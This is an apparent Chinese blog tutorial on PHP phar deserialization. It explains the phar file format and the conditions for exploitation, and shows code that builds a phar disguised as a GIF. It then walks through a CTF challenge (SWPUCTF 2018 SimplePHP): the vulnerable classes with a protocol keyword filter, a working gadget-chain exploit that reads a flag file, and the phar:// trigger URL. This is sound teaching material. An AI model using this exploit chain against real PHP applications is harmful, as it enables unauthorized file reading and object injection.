phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起的严重的php对象注入漏洞。
原理
phar文件结构
四部分构成
- stub:phar文件标识,前面内容不限,但必须以
__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件
- manifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-data。
- contents:压缩文件的内容
- signature:签名,在文件末尾
缘由
漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化。当内核调用phar_parse_metadata()解析metadata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
![]()
利用
利用条件
利用条件:
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
![]()
生成文件
根据文件结构我们来自己构建一个 phar 文件,php内置了一个 Phar 类来处理相关操作
注意:要将 php.ini 中的 phar.readonly 选项设置为Off,否则无法生成 phar 文件。
phar.php:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php class TestObject { } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
生成phar.phar文件
![]()
可以明显的看到meta-data是以序列化的形式存储的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
可以看到加了GIF89a文件头,从而使其伪装成gif文件:
![phar反序列化学习]()
生成文件后,可以修改为任意后缀。
例题
[SWPUCTF 2018]SimplePHP
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
|
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
<?php class C1e4r { public $test; public $str;
}
class Show { public $source; public $str; } class Test { public $file; public $params; } $test=new Test(); $show=new Show(); $c1e4r=new C1e4r(); $c1e4r->str=$show; $show->str['str']=$test; $test->params['source']='/var/www/html/f1ag.php';
$phar = new Phar("phar1.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($c1e4r); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); ?>
|
上传后
1
|
/file.php?file=phar://upload/19b39eddec74b32461a3673dea6b7871.jpg
|
参考文章:
Phar反序列化浅析:https://www.extrader.top/posts/bb56c28a/
FROM :blog.cfyqy.com | Author:cfyqy
评论